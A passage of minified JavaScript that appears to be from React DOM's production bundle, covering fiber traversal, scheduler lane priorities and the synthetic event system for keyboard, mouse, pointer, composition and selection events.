lt(e){if(R(e)!==e)throw Error(r(188))}function ut(e){var t=e.alternate;if(!t){if(t=R(e),t===null)throw Error(r(188));return t===e?e:null}for(var n=e,i=t;;){var a=n.return;if(a===null)break;var o=a.alternate;if(o===null){if(i=a.return,i!==null){n=i;continue}break}if(a.child===o.child){for(o=a.child;o;){if(o===n)return lt(a),e;if(o===i)return lt(a),t;o=o.sibling}throw Error(r(188))}if(n.return!==i.return)n=a,i=o;else{for(var s=!1,c=a.child;c;){if(c===n){s=!0,n=a,i=o;break}if(c===i){s=!0,i=a,n=o;break}c=c.sibling}if(!s){for(c=o.child;c;){if(c===n){s=!0,n=o,i=a;break}if(c===i){s=!0,i=o,n=a;break}c=c.sibling}if(!s)throw Error(r(189))}}if(n.alternate!==i)throw Error(r(190))}if(n.tag!==3)throw Error(r(188));return n.stateNode.current===n?e:t}function dt(e){return e=ut(e),e===null?null:ft(e)}function ft(e){if(e.tag===5||e.tag===6)return e;for(e=e.child;e!==null;){var t=ft(e);if(t!==null)return t;e=e.sibling}return null}var z=n.unstable_scheduleCallback,pt=n.unstable_cancelCallback,B=n.unstable_shouldYield,V=n.unstable_requestPaint,H=n.unstable_now,mt=n.unstable_getCurrentPriorityLevel,ht=n.unstable_ImmediatePriority,U=n.unstable_UserBlockingPriority,gt=n.unstable_NormalPriority,_t=n.unstable_LowPriority,vt=n.unstable_IdlePriority,yt=null,bt=null;function xt(e){if(bt&&typeof bt.onCommitFiberRoot==`function`)try{bt.onCommitFiberRoot(yt,e,void 0,(e.current.flags&128)==128)}catch{}}var St=Math.clz32?Math.clz32:wt,Ct=Math.log,W=Math.LN2;function wt(e){return e>>>=0,e===0?32:31-(Ct(e)/W|0)|0}var Tt=64,Et=4194304;function Dt(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Ot(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,a=e.pingedLanes,o=n&268435455;if(o!==0){var s=o&~i;s===0?(a&=o,a!==0&&(r=Dt(a))):r=Dt(s)}else o=n&~i,o===0?a!==0&&(r=Dt(a)):r=Dt(o);if(r===0)return 0;if(t!==0&&t!==r&&(t&i)===0&&(i=r&-r,a=t&-t,i>=a||i===16&&a&4194240))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0<t;)n=31-St(t),i=1<<n,r|=e[n],t&=~i;return r}function kt(e,t){switch(e){case 1:case 2:case 4:return t+250;case 8:case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return-1;case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function At(e,t){for(var n=e.suspendedLanes,r=e.pingedLanes,i=e.expirationTimes,a=e.pendingLanes;0<a;){var o=31-St(a),s=1<<o,c=i[o];c===-1?((s&n)===0||(s&r)!==0)&&(i[o]=kt(s,t)):c<=t&&(e.expiredLanes|=s),a&=~s}}function jt(e){return e=e.pendingLanes&-1073741825,e===0?e&1073741824?1073741824:0:e}function Mt(){var e=Tt;return Tt<<=1,!(Tt&4194240)&&(Tt=64),e}function Nt(e){for(var t=[],n=0;31>n;n++)t.push(e);return t}function Pt(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-St(t),e[t]=n}function Ft(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0<n;){var i=31-St(n),a=1<<i;t[i]=0,r[i]=-1,e[i]=-1,n&=~a}}function G(e,t){var n=e.entangledLanes|=t;for(e=e.entanglements;n;){var r=31-St(n),i=1<<r;i&t|e[r]&t&&(e[r]|=t),n&=~i}}var It=0;function Lt(e){return e&=-e,1<e?4<e?e&268435455?16:536870912:4:1}var Rt,K,zt,Bt,Vt,Ht=!1,Ut=[],Wt=null,Gt=null,Kt=null,qt=new Map,Jt=new Map,Yt=[],Xt=`mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit`.split(` `);function Zt(e,t){switch(e){case`focusin`:case`focusout`:Wt=null;break;case`dragenter`:case`dragleave`:Gt=null;break;case`mouseover`:case`mouseout`:Kt=null;break;case`pointerover`:case`pointerout`:qt.delete(t.pointerId);break;case`gotpointercapture`:case`lostpointercapture`:Jt.delete(t.pointerId)}}function Qt(e,t,n,r,i,a){return e===null||e.nativeEvent!==a?(e={blockedOn:t,domEventName:n,eventSystemFlags:r,nativeEvent:a,targetContainers:[i]},t!==null&&(t=Pi(t),t!==null&&K(t)),e):(e.eventSystemFlags|=r,t=e.targetContainers,i!==null&&t.indexOf(i)===-1&&t.push(i),e)}function $t(e,t,n,r,i){switch(t){case`focusin`:return Wt=Qt(Wt,e,t,n,r,i),!0;case`dragenter`:return Gt=Qt(Gt,e,t,n,r,i),!0;case`mouseover`:return Kt=Qt(Kt,e,t,n,r,i),!0;case`pointerover`:var a=i.pointerId;return qt.set(a,Qt(qt.get(a)||null,e,t,n,r,i)),!0;case`gotpointercapture`:return a=i.pointerId,Jt.set(a,Qt(Jt.get(a)||null,e,t,n,r,i)),!0}return!1}function en(e){var t=Ni(e.target);if(t!==null){var n=R(t);if(n!==null){if(t=n.tag,t===13){if(t=ct(n),t!==null){e.blockedOn=t,Vt(e.priority,function(){zt(n)});return}}else if(t===3&&n.stateNode.current.memoizedState.isDehydrated){e.blockedOn=n.tag===3?n.stateNode.containerInfo:null;return}}}e.blockedOn=null}function tn(e){if(e.blockedOn!==null)return!1;for(var t=e.targetContainers;0<t.length;){var n=pn(e.domEventName,e.eventSystemFlags,t[0],e.nativeEvent);if(n===null){n=e.nativeEvent;var r=new n.constructor(n.type,n);Ue=r,n.target.dispatchEvent(r),Ue=null}else return t=Pi(n),t!==null&&K(t),e.blockedOn=n,!1;t.shift()}return!0}function nn(e,t,n){tn(e)&&n.delete(t)}function rn(){Ht=!1,Wt!==null&&tn(Wt)&&(Wt=null),Gt!==null&&tn(Gt)&&(Gt=null),Kt!==null&&tn(Kt)&&(Kt=null),qt.forEach(nn),Jt.forEach(nn)}function an(e,t){e.blockedOn===t&&(e.blockedOn=null,Ht||(Ht=!0,n.unstable_scheduleCallback(n.unstable_NormalPriority,rn)))}function on(e){function t(t){return an(t,e)}if(0<Ut.length){an(Ut[0],e);for(var n=1;n<Ut.length;n++){var r=Ut[n];r.blockedOn===e&&(r.blockedOn=null)}}for(Wt!==null&&an(Wt,e),Gt!==null&&an(Gt,e),Kt!==null&&an(Kt,e),qt.forEach(t),Jt.forEach(t),n=0;n<Yt.length;n++)r=Yt[n],r.blockedOn===e&&(r.blockedOn=null);for(;0<Yt.length&&(n=Yt[0],n.blockedOn===null);)en(n),n.blockedOn===null&&Yt.shift()}var sn=C.ReactCurrentBatchConfig,cn=!0;function ln(e,t,n,r){var i=It,a=sn.transition;sn.transition=null;try{It=1,dn(e,t,n,r)}finally{It=i,sn.transition=a}}function un(e,t,n,r){var i=It,a=sn.transition;sn.transition=null;try{It=4,dn(e,t,n,r)}finally{It=i,sn.transition=a}}function dn(e,t,n,r){if(cn){var i=pn(e,t,n,r);if(i===null)ai(e,t,r,fn,n),Zt(e,r);else if($t(i,e,t,n,r))r.stopPropagation();else if(Zt(e,r),t&4&&-1<Xt.indexOf(e)){for(;i!==null;){var a=Pi(i);if(a!==null&&Rt(a),a=pn(e,t,n,r),a===null&&ai(e,t,r,fn,n),a===i)break;i=a}i!==null&&r.stopPropagation()}else ai(e,t,r,null,n)}}var fn=null;function pn(e,t,n,r){if(fn=null,e=We(r),e=Ni(e),e!==null)if(t=R(e),t===null)e=null;else if(n=t.tag,n===13){if(e=ct(t),e!==null)return e;e=null}else if(n===3){if(t.stateNode.current.memoizedState.isDehydrated)return t.tag===3?t.stateNode.containerInfo:null;e=null}else t!==e&&(e=null);return fn=e,null}function mn(e){switch(e){case`cancel`:case`click`:case`close`:case`contextmenu`:case`copy`:case`cut`:case`auxclick`:case`dblclick`:case`dragend`:case`dragstart`:case`drop`:case`focusin`:case`focusout`:case`input`:case`invalid`:case`keydown`:case`keypress`:case`keyup`:case`mousedown`:case`mouseup`:case`paste`:case`pause`:case`play`:case`pointercancel`:case`pointerdown`:case`pointerup`:case`ratechange`:case`reset`:case`resize`:case`seeked`:case`submit`:case`touchcancel`:case`touchend`:case`touchstart`:case`volumechange`:case`change`:case`selectionchange`:case`textInput`:case`compositionstart`:case`compositionend`:case`compositionupdate`:case`beforeblur`:case`afterblur`:case`beforeinput`:case`blur`:case`fullscreenchange`:case`focus`:case`hashchange`:case`popstate`:case`select`:case`selectstart`:return 1;case`drag`:case`dragenter`:case`dragexit`:case`dragleave`:case`dragover`:case`mousemove`:case`mouseout`:case`mouseover`:case`pointermove`:case`pointerout`:case`pointerover`:case`scroll`:case`toggle`:case`touchmove`:case`wheel`:case`mouseenter`:case`mouseleave`:case`pointerenter`:case`pointerleave`:return 4;case`message`:switch(mt()){case ht:return 1;case U:return 4;case gt:case _t:return 16;case vt:return 536870912;default:return 16}default:return 16}}var hn=null,gn=null,_n=null;function vn(){if(_n)return _n;var e,t=gn,n=t.length,r,i=`value`in hn?hn.value:hn.textContent,a=i.length;for(e=0;e<n&&t[e]===i[e];e++);var o=n-e;for(r=1;r<=o&&t[n-r]===i[a-r];r++);return _n=i.slice(e,1<r?1-r:void 0)}function yn(e){var t=e.keyCode;return`charCode`in e?(e=e.charCode,e===0&&t===13&&(e=13)):e=t,e===10&&(e=13),32<=e||e===13?e:0}function bn(){return!0}function xn(){return!1}function Sn(e){function t(t,n,r,i,a){for(var o in this._reactName=t,this._targetInst=r,this.type=n,this.nativeEvent=i,this.target=a,this.currentTarget=null,e)e.hasOwnProperty(o)&&(t=e[o],this[o]=t?t(i):i[o]);return this.isDefaultPrevented=(i.defaultPrevented==null?!1===i.returnValue:i.defaultPrevented)?bn:xn,this.isPropagationStopped=xn,this}return oe(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():typeof e.returnValue!=`unknown`&&(e.returnValue=!1),this.isDefaultPrevented=bn)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():typeof e.cancelBubble!=`unknown`&&(e.cancelBubble=!0),this.isPropagationStopped=bn)},persist:function(){},isPersistent:bn}),t}var Cn={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},wn=Sn(Cn),Tn=oe({},Cn,{view:0,detail:0}),En=Sn(Tn),Dn,On,kn,An=oe({},Tn,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Vn,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return`movementX`in e?e.movementX:(e!==kn&&(kn&&e.type===`mousemove`?(Dn=e.screenX-kn.screenX,On=e.screenY-kn.screenY):On=Dn=0,kn=e),Dn)},movementY:function(e){return`movementY`in e?e.movementY:On}}),jn=Sn(An),Mn=Sn(oe({},An,{dataTransfer:0})),Nn=Sn(oe({},Tn,{relatedTarget:0})),Pn=Sn(oe({},Cn,{animationName:0,elapsedTime:0,pseudoElement:0})),Fn=Sn(oe({},Cn,{clipboardData:function(e){return`clipboardData`in e?e.clipboardData:window.clipboardData}})),In=Sn(oe({},Cn,{data:0})),Ln={Esc:`Escape`,Spacebar:` `,Left:`ArrowLeft`,Up:`ArrowUp`,Right:`ArrowRight`,Down:`ArrowDown`,Del:`Delete`,Win:`OS`,Menu:`ContextMenu`,Apps:`ContextMenu`,Scroll:`ScrollLock`,MozPrintableKey:`Unidentified`},Rn={8:`Backspace`,9:`Tab`,12:`Clear`,13:`Enter`,16:`Shift`,17:`Control`,18:`Alt`,19:`Pause`,20:`CapsLock`,27:`Escape`,32:` `,33:`PageUp`,34:`PageDown`,35:`End`,36:`Home`,37:`ArrowLeft`,38:`ArrowUp`,39:`ArrowRight`,40:`ArrowDown`,45:`Insert`,46:`Delete`,112:`F1`,113:`F2`,114:`F3`,115:`F4`,116:`F5`,117:`F6`,118:`F7`,119:`F8`,120:`F9`,121:`F10`,122:`F11`,123:`F12`,144:`NumLock`,145:`ScrollLock`,224:`Meta`},zn={Alt:`altKey`,Control:`ctrlKey`,Meta:`metaKey`,Shift:`shiftKey`};function Bn(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):(e=zn[e])?!!t[e]:!1}function Vn(){return Bn}var Hn=Sn(oe({},Tn,{key:function(e){if(e.key){var t=Ln[e.key]||e.key;if(t!==`Unidentified`)return t}return e.type===`keypress`?(e=yn(e),e===13?`Enter`:String.fromCharCode(e)):e.type===`keydown`||e.type===`keyup`?Rn[e.keyCode]||`Unidentified`:``},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Vn,charCode:function(e){return e.type===`keypress`?yn(e):0},keyCode:function(e){return e.type===`keydown`||e.type===`keyup`?e.keyCode:0},which:function(e){return e.type===`keypress`?yn(e):e.type===`keydown`||e.type===`keyup`?e.keyCode:0}})),Un=Sn(oe({},An,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0})),Wn=Sn(oe({},Tn,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Vn})),Gn=Sn(oe({},Cn,{propertyName:0,elapsedTime:0,pseudoElement:0})),Kn=Sn(oe({},An,{deltaX:function(e){return`deltaX`in e?e.deltaX:`wheelDeltaX`in e?-e.wheelDeltaX:0},deltaY:function(e){return`deltaY`in e?e.deltaY:`wheelDeltaY`in e?-e.wheelDeltaY:`wheelDelta`in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0})),qn=[9,13,27,32],Jn=u&&`CompositionEvent`in window,q=null;u&&`documentMode`in document&&(q=document.documentMode);var Yn=u&&`TextEvent`in window&&!q,Xn=u&&(!Jn||q&&8<q&&11>=q),Zn=` `,Qn=!1;function $n(e,t){switch(e){case`keyup`:return qn.indexOf(t.keyCode)!==-1;case`keydown`:return t.keyCode!==229;case`keypress`:case`mousedown`:case`focusout`:return!0;default:return!1}}function er(e){return e=e.detail,typeof e==`object`&&`data`in e?e.data:null}var tr=!1;function nr(e,t){switch(e){case`compositionend`:return er(t);case`keypress`:return t.which===32?(Qn=!0,Zn):null;case`textInput`:return e=t.data,e===Zn&&Qn?null:e;default:return null}}function rr(e,t){if(tr)return e===`compositionend`||!Jn&&$n(e,t)?(e=vn(),_n=gn=hn=null,tr=!1,e):null;switch(e){case`paste`:return null;case`keypress`:if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case`compositionend`:return Xn&&t.locale!==`ko`?null:t.data;default:return null}}var ir={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function ar(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t===`input`?!!ir[e.type]:t===`textarea`}function or(e,t,n,r){Ye(r),t=si(t,`onChange`),0<t.length&&(n=new wn(`onChange`,`change`,null,n,r),e.push({event:n,listeners:t}))}var sr=null,J=null;function cr(e){$r(e,0)}function lr(e){if(ve(Fi(e)))return e}function ur(e,t){if(e===`change`)return t}var dr=!1;if(u){var fr;if(u){var pr=`oninput`in document;if(!pr){var mr=document.createElement(`div`);mr.setAttribute(`oninput`,`return;`),pr=typeof mr.oninput==`function`}fr=pr}else fr=!1;dr=fr&&(!document.documentMode||9<document.documentMode)}function hr(){sr&&(sr.detachEvent(`onpropertychange`,gr),J=sr=null)}function gr(e){if(e.propertyName===`value`&&lr(J)){var t=[];or(t,J,e,We(e)),et(cr,t)}}function _r(e,t,n){e===`focusin`?(hr(),sr=t,J=n,sr.attachEvent(`onpropertychange`,gr)):e===`focusout`&&hr()}function vr(e){if(e===`selectionchange`||e===`keyup`||e===`keydown`)return lr(J)}function yr(e,t){if(e===`click`)return lr(t)}function br(e,t){if(e===`input`||e===`change`)return lr(t)}function xr(e,t){return e===t&&(e!==0||1/e==1/t)||e!==e&&t!==t}var Sr=typeof Object.is==`function`?Object.is:xr;function Cr(e,t){if(Sr(e,t))return!0;if(typeof e!=`object`||!e||typeof t!=`object`||!t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++){var i=n[r];if(!d.call(t,i)||!Sr(e[i],t[i]))return!1}return!0}function wr(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function Tr(e,t){var n=wr(e);e=0;for(var r;n;){if(n.nodeType===3){if(r=e+n.textContent.length,e<=t&&r>=t)return{node:n,offset:t-e};e=r}a:{for(;n;){if(n.nextSibling){n=n.nextSibling;break a}n=n.parentNode}n=void 0}n=wr(n)}}function Er(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Er(e,t.parentNode):`contains`in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Dr(){for(var e=window,t=ye();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href==`string`}catch{n=!1}if(n)e=t.contentWindow;else break;t=ye(e.document)}return t}function Or(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t===`input`&&(e.type===`text`||e.type===`search`||e.type===`tel`||e.type===`url`||e.type===`password`)||t===`textarea`||e.contentEditable===`true`)}function kr(e){var t=Dr(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Er(n.ownerDocument.documentElement,n)){if(r!==null&&Or(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),`selectionStart`in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,a=Math.min(r.start,i);r=r.end===void 0?a:Math.min(r.end,i),!e.extend&&a>r&&(i=r,r=a,a=i),i=Tr(n,a);var o=Tr(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),a>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus==`function`&&n.focus(),n=0;n<t.length;n++)e=t[n],e.element.scrollLeft=e.left,e.element.scrollTop=e.top}}var Ar=u&&`documentMode`in document&&11>=document.documentMode,jr=null,Mr=null,Nr=null,Pr=!1;function Fr(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Pr||jr==null||jr!==ye(r)||(r=jr,`selectionStart`in r&&Or(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),Nr&&Cr(Nr,r)||(Nr=r,r=si(Mr,`onSelect`),0<r.length&&(t=new wn(`onSelect`,`select`,null,t,n),e.push({event:t,listeners:r}),t.target=jr)))}function Ir(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n[`Webkit`+e]=`webkit`+t,n[`Moz`+e]=`moz`+t,n}var Lr={animationend:Ir(`Animation`,`AnimationEnd`),animationiteration:Ir(`Animation`,`AnimationIteration`),animationstart:Ir(`Animation`,`AnimationStart`),transitionend:Ir(`Transition`,`TransitionEnd`)},Rr={},zr={};u&&(zr=document.createElement(`div`).style,`AnimationEvent`in window||(delete Lr.animationend.animation,delete Lr.animationiteration.animation,delete Lr.animationstart.animation),`TransitionEvent`in window||delete Lr.transitionend.transition);function Br(e){if(Rr[e])return Rr[e];if(!Lr[e])return e;var t=Lr[e],n;for(n in t)if(t.hasOwnProperty(n)&&n in zr)return Rr[e]=t[n];return e}var Vr=Br(`animationend`),Hr=Br(`animationiteration`),Ur=Br(`animationstart`),Wr=Br(`transitionend`),Gr=new Map,Kr=`abort auxClick cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel`.split(` `);function qr(e,t){Gr.set(e,t),c(t,[e])}for(var Jr=0;Jr<Kr.length;Jr++){var Yr=Kr[Jr];qr(Yr.toLowerCase(),`on`+(Yr[0].toUpperCase()+Yr.slice(1)))}qr(Vr,`onAnimationEnd`),qr(Hr,`onAnimationIteration`),qr(Ur,`onAnimationStart`),qr(`dblclick`,`onDoubleClick`),qr(`focusin`,`onFocus`),qr(`focusout`,`onBlur`),qr(Wr,`onTransitionEnd`),l(`onMouseEnter`,[`mouseout`,`mouseover`]),l(`onMouseLeave`,[`mouseout`,`mouseover`]),l(`onPointerEnter`,[`pointerout`,`pointerover`]),l(`onPointerLeave`,[`pointerout`,`pointerover`]),c(`onChange`,`change click focusin focusout input keydown keyup selectionchange`.split(` `)),c(`onSelect`,`focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange`.split(` `)),c(`onBeforeInput`,[`compositionend`,`keypress`,`textInput`,`paste`]),c(`onCompositionEnd`,`compositionend focusout keydown keypress keyup mousedown`.split(` `)),c(`onCompositionStart`,`compositionstart focusout keydown keypress keyup mousedown`.split(` `)),c(`onCompositionUpdate`,`compositionupdate focusout keydown keypress keyup mousedown`.split(` `));var Xr=`abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting`.split(` `),Zr=new Set(`cancel close invalid load scroll toggle`.split(` `).concat(Xr));function Qr(e,t,n){var r=e.type||`unknown-event`;e.currentTarget=n,L(r,t,void 0,e),e.currentTarget=null}function $r(e,t){t=(t&4)!=0;for(var n=0;n<e.length;n++){var r=e[n],i=r.event;r=r.listeners;a:{var a=void 0;if(t)for(var o=r.length-1;0<=o;o--){var s=r[o],c=s.instance,l=s.currentTarget;if(s=s.listener,c!==a&&i.isPropagationStopped())break a;Qr(i,s,l),a=c}else for(o=0;o<r.length;o++){if(s=r[o],c=s.instance,l=s.currentTarget,s=s.listener,c!==a&&i.isPropagationStopped())break a;Qr(i,s,l),a=c}}}if(it)throw e=at,it=!1,at=null,e}function ei(e,t){var n=t[Ai];n===void 0&&(n=t[Ai]=new Set);var r=e+`__bubble`;n.has(r)||(ii(t,e,2,!1),n.add(r))}function ti(e,t,n){var r=0;t&&(r|=4),ii(n,e,r,t)}var ni=`_reactListening`+Math.random().toString(36).slice(2);function ri(e){if(!e[ni]){e[ni]=!0,a.forEach(function(t){t!==`selectionchange`&&(Zr.has(t)||ti(t,!1,e),ti(t,!0,e))});var t=e.nodeType===9?e:e.ownerDocument;t===null||t[ni]||(t[ni]=!0,ti(`selectionchange`,!1,t))}}function ii(e,t,n,r){switch(mn(t)){case 1:var i=ln;break;case 4:i=un;break;default:i=dn}n=i.bind(null,t,n,e),i=void 0,!P||t!==`touchstart`&&t!==`touchmove`&&t!==`wheel`||(i=!0),r?i===void 0?e.addEventListener(t,n,!0):e.addEventListener(t,n,{capture:!0,passive:i}):i===void 0?e.addEventListener(t,n,!1):e.addEventListener(t,n,{passive:i})}function ai(e,t,n,r,i){var a=r;if(!(t&1)&&!(t&2)&&r!==null)a:for(;;){if(r===null)return;var o=r.tag;if(o===3||o===4){var s=r.stateNode.containerInfo;if(s===i||s.nodeType===8&&s.parentNode===i)break;if(o===4)for(o=r.return;o!==null;){var c=o.tag;if((c===3||c===4)&&(c=o.stateNode.containerInfo,c===i||c.nodeType===8&&c.parentNode===i))return;o=o.return}for(;s!==null;){if(o=Ni(s),o===null)return;if(c=o.tag,c===5||c===6){r=a=o;continue a}s=s.parentNode}}r=r.return}et(function(){var r=a,i=We(n),o=[];a:{var s=Gr.get(e);if(s!==void 0){var c=wn,l=e;switch(e){case`keypress`:if(yn(n)===0)break a;case`keydown`:case`keyup`:c=Hn;break;case`focusin`:l=`focus`,c=Nn;break;case`focusout`:l=`blur`,c=Nn;break;case`beforeblur`:case`afterblur`:c=Nn;break;case`click`:if(n.button===2)break a;case`auxclick`:case`dblclick`:case`mousedown`:case`mousemove`:case`mouseup`:case`mouseout`:case`mouseover`:case`contextmenu`:c=jn;break;case`drag`:case`dragend`:case`dragenter`:case`dragexit`:case`dragleave`:case`dragover`:case`dragstart`:case`drop`:c=Mn;break;case`touchcancel`:case`touchend`:case`touchmove`:case`touchstart`:c=Wn;break;case Vr:case Hr:case Ur:c=Pn;break;case Wr:c=Gn;break;case`scroll`:c=En;break;case`wheel`:c=Kn;break;case`copy`:case`cut`:case`paste`:c=Fn;break;case`gotpointercapture`:case`lostpointercapture`:case`pointercancel`:case`pointerdown`:case`pointermove`:case`pointerout`:case`pointerover`:case`pointerup`:c=Un}var u=(t&4)!=0,d=!u&&e===`scroll`,f=u?s===null?null:s+`Capture`:s;u=[];for(var p=r,m;p!==null;){m=p;var h=m.stateNode;if(m.tag===5&&h!==null&&(m=h,f!==null&&(h=tt(p,f),h!=null&&u.push(oi(p,h,m)))),d)break;p=p.return}0<u.length&&(s=new c(s,l,null,n,i),o.push({event:s,listeners:u}))}}if(!(t&7)){a:{if(s=e===`mouseover`||e===`pointerover`,c=e===`mouseout`||e===`pointerout`,s&&n!==Ue&&(l=n.relatedTarget||n.fromElement)&&(Ni(l)||l[ki]))break a;if((c||s)&&(s=i.window===i?i:(s=i.ownerDocument)?s.defaultView||s.parentWindow:window,c?(l=n.relatedTarget||n.toElement,c=r,l=l?Ni(l):null,l!==null&&(d=R(l),l!==d||l.tag!==5&&l.tag!==6)&&(l=null)):(c=null,l=r),c!==l)){if(u=jn,h=`onMouseLeave`,f=`onMouseEnter`,p=`mouse`,(e===`pointerout`||e===`pointerover`)&&(u=Un,h=`onPointerLeave`,f=`onPointerEnter`,p=`pointer`),d=c==null?s:Fi(c),m=l==null?s:Fi(l),s=new u(h,p+`leave`,c,n,i),s.target=d,s.relatedTarget=m,h=null,Ni(i)===r&&(u=new u(f,p+`enter`,l,n,i),u.target=m,u.relatedTarget=d,h=u),d=h,c&&l)b:{for(u=c,f=l,p=0,m=u;m;m=ci(m))p++;for(m=0,h=f;h;h=ci(h))m++;for(;0<p-m;)u=ci(u),p--;for(;0<m-p;)f=ci(f),m--;for(;p--;){if(u===f||f!==null&&u===f.alternate)break b;u=ci(u),f=ci(f)}u=null}else u=null;c!==null&&li(o,s,c,u,!1),l!==null&&d!==null&&li(o,d,l,u,!0)}}a:{if(s=r?Fi(r):window,c=s.nodeName&&s.nodeName.toLowerCase(),c===`select`||c===`input`&&s.type===`file`)var g=ur;else if(ar(s))if(dr)g=br;else{g=vr;var _=_r}else (c=s.nodeName)&&c.toLowerCase()===`input`&&(s.type===`checkbox`||s.type===`radio`)&&(g=yr);if(g&&=g(e,r)){or(o,g,n,i);break a}_&&_(e,s,r),e===`focusout`&&(_=s._wrapperState)&&_.controlled&&s.type===`number`&&Te(s,`number`,s.value)}switch(_=r?Fi(r):window,e){case`focusin`:(ar(_)||_.contentEditable===`true`)&&(jr=_,Mr=r,Nr=null);break;case`focusout`:Nr=Mr=jr=null;break;case`mousedown`:Pr=!0;break;case`contextmenu`:case`mouseup`:case`dragend`:Pr=!1,Fr(o,n,i);break;case`selectionchange`:if(Ar)break;case`keydown`:case`keyup`:Fr(o,n,i)}var v;if(Jn)b:{switch(e){case`compositionstart`:var y=`onCompositionStart`;break b;case`compositionend`:y=`onCompositionEnd`;break b;case`compositionupdate`:y=`onCompositionUpdate`;break b}y=void 0}else tr?$n(e,n)&&(y=`onCompositionEnd`):e===`keydown`&&n.keyCode===229&&(y=`onCompositionStart`);y&&(Xn&&n.locale!==`ko`&&(tr||y!==`onCompositionStart`?y===`onCompositionEnd`&&tr&&(v=vn()):(hn=i,gn=`value`in hn?hn.value:hn.textContent,tr=!0)),_=si(r,y),0<_.length&&(y=new 